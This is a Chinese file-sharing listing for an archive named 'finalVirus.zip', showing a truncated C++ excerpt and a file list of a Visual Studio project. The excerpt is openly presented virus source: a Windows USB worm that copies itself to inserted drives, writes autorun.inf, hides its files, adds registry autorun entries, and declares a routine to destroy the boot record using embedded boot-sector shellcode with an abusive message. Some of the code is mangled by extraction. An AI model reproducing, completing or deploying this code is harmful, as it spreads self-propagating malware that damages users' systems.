• 大小: 13.27M
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2023-06-14
  • 语言: 其他
  • 标签: 其他  

资源简介

finalVirus.zip

资源截图

代码片段和文件信息

#include “stdafx.h“
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#pragma comment (lib“Advapi32.lib“)
#pragma comment(lib“shlwapi.lib“)
#pragma comment(lib“ComCtl32.lib“)
#pragma comment(lib“user32.lib“)
using namespace std;
#define TIMER 1//计时器
//function


BOOL GetTime();//获取当前时间
BOOL KillSystem();//破坏引导
string   sys_time;



LRESULT CALLBACK WndProc(HWND UINT WPARAM LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus‘s path
//BOOL FindU(TCHAR *u);//check whether u exist u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动
//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus‘s path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path
//constant



const TCHAR *szExeName=“bbbbb.exe“;
const TCHAR *szSysName=“aaaaa.exe“;
const TCHAR *szAutoRunFile=“AutoRun.inf“;


unsigned char scode[] =
“\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c“
“\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72“
“\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29“;

/************************************************************/
int WINAPI WinMain

HINSTANCE hInstance
HINSTANCE hPrevInstance
PSTR szCmdLine 
//LPSTR lpCmdLine
int iCmdShow

{
static TCHAR szAppName[]=TEXT (“UUUUUU“);
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULLTEXT(“Program requires Windows NT!“)
szAppName MB_IConerror);
return 0;
}
hwnd = CreateWindow (szAppName NULL
WS_DISABLED
0 0
0 0
NULL NULL hInstance NULL);
while (GetMessage(&msg NULL 0 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

/********************************************************/


LRESULT OnDeviceChange(HWND hwndWPARAM wParam LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盘盘符
//MessageBox(0U“Notice!“MB_OK);
CopyToUAndSet();//拷到u盘
}
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
break;
}
return LRESULT();
}


LRESU

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2018-12-17 14:42  ConsoleApplication5\
     目录           0  2018-12-15 21:01  ConsoleApplication5\ConsoleApplication5\
     文件        8537  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.cpp
     文件        4693  2018-12-17 09:09  ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.vcxproj
     文件        1323  2018-12-13 18:46  ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.vcxproj.filters
     文件         164  2018-12-13 20:32  ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.vcxproj.user
     目录           0  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\
     文件       31920  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\CL.read.1.tlog
     文件        1302  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\CL.write.1.tlog
     文件        2513  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\ConsoleApplication5.Build.CppClean.log
     文件          84  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\ConsoleApplication5.lastbuildstate
     文件        2045  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\ConsoleApplication5.log
     文件      463153  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\ConsoleApplication5.obj
     文件     1310720  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\ConsoleApplication5.pch
     文件        1686  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\cl.command.1.tlog
     文件           2  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\link-cvtres.read.1.tlog
     文件           2  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\link-cvtres.write.1.tlog
     文件           2  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\link-mt.read.1.tlog
     文件           2  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\link-mt.write.1.tlog
     文件           2  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\link-rc.read.1.tlog
     文件           2  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\link-rc.write.1.tlog
     文件        1568  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\link.command.1.tlog
     文件        2768  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\link.read.1.tlog
     文件         876  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\link.write.1.tlog
     文件       11553  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\stdafx.obj
     文件      740352  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\vc110.idb
     文件      487424  2018-12-17 14:42  ConsoleApplication5\ConsoleApplication5\Debug\vc110.pdb
     文件        1594  2018-12-13 18:46  ConsoleApplication5\ConsoleApplication5\ReadMe.txt
     文件         224  2018-12-13 18:46  ConsoleApplication5\ConsoleApplication5\stdafx.cpp
     文件         233  2018-12-13 18:46  ConsoleApplication5\ConsoleApplication5\stdafx.h
     文件         236  2018-12-13 18:46  ConsoleApplication5\ConsoleApplication5\targetver.h
............此处省略12个文件信息

评论

共有 条评论